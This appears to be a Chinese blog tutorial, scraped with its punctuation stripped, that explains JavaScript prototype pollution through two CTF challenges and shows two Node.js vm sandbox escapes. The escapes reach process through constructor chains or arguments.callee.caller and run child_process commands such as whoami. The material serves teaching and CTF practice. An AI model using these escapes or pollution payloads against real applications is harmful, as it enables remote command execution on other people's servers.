网站建设业务介绍,互联网商业计划书模板范文,网站建设这个,服务器活动文章目录 原型链污染原型链污染原理原型链污染小例子 原型链污染题目解析第一题第二题 Nodejs沙箱逃逸方法一方法二 原型链污染
原型链污染原理
原型链
function test(){this.a test;
}
b new test;可以看到b在实例化为test对象以后#xff0c;就可以输出test类中的属性a… 文章目录 原型链污染原型链污染原理原型链污染小例子 原型链污染题目解析第一题第二题 Nodejs沙箱逃逸方法一方法二 原型链污染
原型链污染原理
原型链
function test(){this.a test;
}
b new test;可以看到b在实例化为test对象以后就可以输出test类中的属性a了。这是因为继承的关系
而继承的整个过程就称为该类的原型链。
在javascript中,每个对象的都有一个指向他的原型(prototype)的内部链接这个原型对象又有它自己的原型直到null为止 在javascript中一切皆对象因为所有的变量函数数组对象 都始于object的原型即object.prototype。同时在js中只有类才有prototype属性而对象却没有对象有的是__proto__和类的prototype对应。且二者是等价的,就如同下例子
创建一个对象
function Foo(){this.a 100;
}foo new Foo();[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-etFcTTl0-1690980806934)(C:\Users\Lin\AppData\Roaming\Typora\typora-user-images\image-20230802152046457.png)] 则原型链为 foo -- Foo.prototype -- Object.prototype -- null 原型链污染小例子 由以上例子,我们大概了解污染的原理 因为b.__proto__ Object.prototype, 则我们在b.____proto__加入b1000时, 相当于在Object.prototype里加入值, 则创建c是继承object也获取了b1000 原型链污染题目解析
第一题
const express require(express)
var hbs require(hbs);
var bodyParser require(body-parser);
const md5 require(md5);
var morganBody require(morgan-body);
const app express();
var user []; //empty for nowvar matrix [];
for (var i 0; i 3; i){matrix[i] [null , null, null];
}function draw(mat) {var count 0;for (var i 0; i 3; i){for (var j 0; j 3; j){if (matrix[i][j] ! null){count 1;}}}return count 9;
}app.use(express.static(public));
app.use(bodyParser.json());
app.set(view engine, html);
morganBody(app);
app.engine(html, require(hbs).__express);app.get(/, (req, res) {for (var i 0; i 3; i){matrix[i] [null , null, null];}res.render(index);
})app.get(/admin, (req, res) { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken req.query.querytoken md5(user.admintoken) req.query.querytoken){res.send(Hey admin your flag is bflag{prototype_pollution_is_very_dangerous}/b);} else {res.status(403).send(Forbidden);}
}
)app.post(/api, (req, res) {var client req.body;var winner null;if (client.row 3 || client.col 3){client.row % 3;client.col % 3;}matrix[client.row][client.col] client.data;for(var i 0; i 3; i){if (matrix[i][0] matrix[i][1] matrix[i][1] matrix[i][2] ){if (matrix[i][0] X) {winner 1;}else if(matrix[i][0] O) {winner 2;}}if (matrix[0][i] matrix[1][i] matrix[1][i] matrix[2][i]){if (matrix[0][i] X) {winner 1;}else if(matrix[0][i] O) {winner 2;}}}if (matrix[0][0] matrix[1][1] matrix[1][1] matrix[2][2] matrix[0][0] X){winner 1;}if (matrix[0][0] matrix[1][1] matrix[1][1] matrix[2][2] matrix[0][0] O){winner 2;} if (matrix[0][2] matrix[1][1] matrix[1][1] matrix[2][0] matrix[2][0] X){winner 1;}if (matrix[0][2] matrix[1][1] matrix[1][1] matrix[2][0] matrix[2][0] O){winner 2;}if (draw(matrix) winner null){res.send(JSON.stringify({winner: 0}))}else if (winner ! null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}})
app.listen(3000, () {console.log(app listening on port 3000!)
})首先,我们要获取的信息前是有条件
if(user.admintoken req.query.querytoken md5(user.admintoken) req.query.querytoken){res.send(Hey admin your flag is bflag{prototype_pollution_is_very_dangerous}/b);} else {res.status(403).send(Forbidden);} 获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等且二者都要存在。
由代码可知全文没有对user.admintokn 进行赋值所以理论上这个值时不存在的但是下面有一句赋值语句
matrix[client.row][client.col] client.datadata,row,col都是我们post传入的值都是可控的。所以可以构造原型链污染下面我们先本地测试一下。 则 第二题
const express require(express);
const bodyParser require(body-parser)
const cookieParser require(cookie-parser);
const path require(path);const isObject obj obj obj.constructor obj.constructor Object;function merge(a, b) {for (var attr in b) {if (isObject(a[attr]) isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] b[attr];}}return a
}function clone(a) {return merge({}, a);
}// Constants
const PORT 8080;
const HOST 0.0.0.0;
const admin {};// App
const app express();
app.use(bodyParser.json())
app.use(cookieParser());app.use(/, express.static(path.join(__dirname, views)));
app.post(/signup, (req, res) {var body JSON.parse(JSON.stringify(req.body)); var copybody clone(body)if (copybody.name) {res.cookie(name, copybody.name).json({done: cookie set});} else {res.json({error: cookie not set})}
});
app.get(/getFlag, (req, res) {var аdmin JSON.parse(JSON.stringify(req.cookies))if (admin.аdmin 1) {res.send(hackim19{});} else {res.send(You are not authorized);}
});
app.listen(PORT, HOST);
console.log(Running on http://${HOST}:${PORT});获取信息的条件为
if (admin.аdmin 1) {res.send(hackim19{});
} else {res.send(You are not authorized);
}获取flag的条件是admin.аdmin 1而admin 本身是一个object其admin 属性本身并不存在而且还有一个敏感函数 merg
function merge(a, b) {for (var attr in b) {if (isObject(a[attr]) isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] b[attr];}}return a
}merge 函数作用是进行对象的合并其中涉及到了对象的赋值且键值可控这样就可以触发原形链污染了
测试下: JSON.parse 会把一个json字符串 转化为 javascript的object 我们在创建字典的时候__proto__,不是作为一个键名而是已经作为__proto__给其父类进行赋值了所以在test.__proto__中才有admin属性但是我们是想让__proto__作为一个键名的,可以使用JSON.parse 最后,调试结果为 Nodejs沙箱逃逸
方法一
先说一下最简单的vm模块vm模块是Node.JS内置的一个模块。理论上不能叫沙箱他只是Node.JS提供给使用者的一个隔离环境。
使用方法很简单我们执行mn这个表达式
const vm require(vm);
const script m n;
const sandbox { m: 1, n: 2 };
const context new vm.createContext(sandbox);
const res vm.runInContext(script, context);
console.log(res)但这个隔离环境是很容易绕过的。这个环境中上下文里有三个对象 this 指向传给vm.createContext的那个对象 m 等于数字1 n 等于数字2 我们可以使用外部传入的对象比如this来引入当前上下文里没有的模块进而绕过这个隔离环境。比如
this.toString.constructor(return process)()
const process this.toString.constructor(return process)() process.mainModule.require(child_process).execSync(whoami).toString()第一行this.toString获取到一个函数对象this.toString.constructor获取到函数对象的构造器构造器中可以传入字符串类型的代码。然后在执行即可获得process对象。
第二行利用前面获取的process对象既可以干任何事。
但这里有一个问题为什么我们不直接使用{}.toString.constructor(‘return process’)()却要使用this呢
这两个的一个重要区别就是{}是在沙盒内的一个对象而this是在沙盒外的对象注入进来的。沙盒内的对象即使使用这个方法也获取不到process因为它本身就没有process。
那么另一个问题m和n也是沙盒外的对象为什么也不能用m.toString.constructor(‘return process’)()呢
这个原因就是因为primitive types数字、字符串、布尔等这些都是primitive types他们的传递其实传递的是值而不是引用所以在沙盒内虽然你也是使用的m但是这个m和外部那个m已经不是一个m了所以也是无法利用的
所以如果修改下context{m: [], n: {}, x: /regexp/}这样m、n、x就都可以利用了。
如果能理解这一点后面就可以很好的理解沙箱绕过的核心原理了只要我们能在沙箱内部找到一个沙箱外部的对象借助这个对象内的属性即可获得沙箱外的函数进而绕过沙箱。
const inspect require(util).inspect;
const vm require(vm);
const script const process x.toString.constructor(return process)()process.mainModule.require(child_process).execSync(ipconfig).toString()
;
const sandbox {m:[], n: {}, x: /regexp/};
const context new vm.createContext(sandbox);
const res vm.runInContext(script,context);
console.log(res)方法二
继续看vm这个模块我们前面通过this这个外部对象中的属性来执行了一些隔离环境外的函数。
那么我们改一下代码让上下文中不存在this也不存在其他对象代码如下
const vm require(vm); const script ...; const sandbox Object.create(null); const context new vm.createContext(sandbox); const res vm.runInContext(script, context); console.log(Hello res) 在 JavaScript 中this 关键字的值取决于函数的执行上下文。在全局作用域中this 通常指向全局对象如浏览器环境中的 window 对象Node.js 环境中的 global 对象。但是在使用 Object.create(null) 创建的对象上下文中this 将为 null。 const sandbox Object.create(null); Object.create(null) 是一个创建一个新对象的方法该对象没有继承自任何原型链。在 JavaScript 中Object.create(null) 会创建一个纯净的对象它没有继承自 Object.prototype 或任何其他原型对象因此不会拥有默认的原型方法和属性。这样的对象通常被称为“空对象”或“纯净对象”。 在这个纯净对象 sandbox 上下文中由于没有原型链它的 this 值将为 null。也就是说如果在 sandbox 对象的上下文中使用 this 关键字它将是 null。 例如:
const sandbox Object.create(null);function greet() {console.log(this);
}greet(); // Output: null
在上述示例中我们定义了一个名为 greet 的函数并在全局作用域中调用它。由于函数在全局作用域中调用它的 this 值将为全局对象如浏览器环境中的 window 或 Node.js 环境中的 global。然而如果我们在 sandbox 对象的上下文中调用 greet 函数this 将为 nullconst sandbox Object.create(null);function greet() {console.log(this);
}sandbox.greet greet;
sandbox.greet(); // Output: null
在这个例子中我们将 greet 函数作为 sandbox 对象的方法并在 sandbox 对象的上下文中调用它。在这种情况下this 将是 null此时我们可以借助arguments对象。arguments是在函数执行的时候存在的一个变量我们可以通过arguments.callee.caller获得调用这个函数的调用者。
在 JavaScript 中arguments.callee 和 arguments.caller 都是用于访问函数调用相关信息的特殊属性。然而这两个属性都已经被弃用deprecated并不再建议使用因为它们在严格模式strict mode下会导致错误。arguments.callee:arguments.callee 是一个指向当前正在执行的函数本身的引用。
通过 arguments.callee 可以在函数内部递归调用自身而不需要知道函数的名称。
在过去它经常用于创建匿名递归函数。例如
const factorial function(n) {if (n 0 || n 1) {return 1;} else {return n * arguments.callee(n - 1); // 不推荐使用}
};
但是由于 arguments.callee 在严格模式下会导致错误建议使用命名函数表达式或函数声明来实现递归。arguments.caller:arguments.caller 是一个指向调用当前函数的函数的引用。
它提供了一种查找调用栈的方式可以追溯到调用当前函数的函数。
与 arguments.callee 类似arguments.caller 也在严格模式下被弃用。
例子
function outer() {inner();
}function inner() {console.log(arguments.caller); // 不推荐使用
}outer();
在上述例子中inner 函数内部使用 arguments.caller 来获取调用它的函数 outer 的引用。但是请注意这两个属性已经被弃用应该避免在代码中使用它们。相反可以使用函数表达式、命名函数或箭头函数来实现递归而不需要依赖 arguments.callee。要获取调用栈的信息可以使用 Error 对象的 stack 属性。那么如果我们在沙盒中定义一个函数并返回在沙盒外这个函数被调用那么此时的arguments.callee.caller就是沙盒外的这个调用者我们再通过这个调用者拿到它的constructor等属性就可以绕过沙箱了。
比如代码:
const vm require(vm);
const script (() { const a {} a.toString function () { const cc arguments.callee.caller; const p (cc.constructor.constructor(return process))(); return p.mainModule.require(child_process).execSync(whoami).toString() } return a })();
const sandbox Object.create(null);
const context new vm.createContext(sandbox);
const res vm.runInContext(script,context);
console.log(hellores)这里可见toString就是我定义的恶意函数里面拿到了caller再通过caller的constructor来获取process最后执行命令。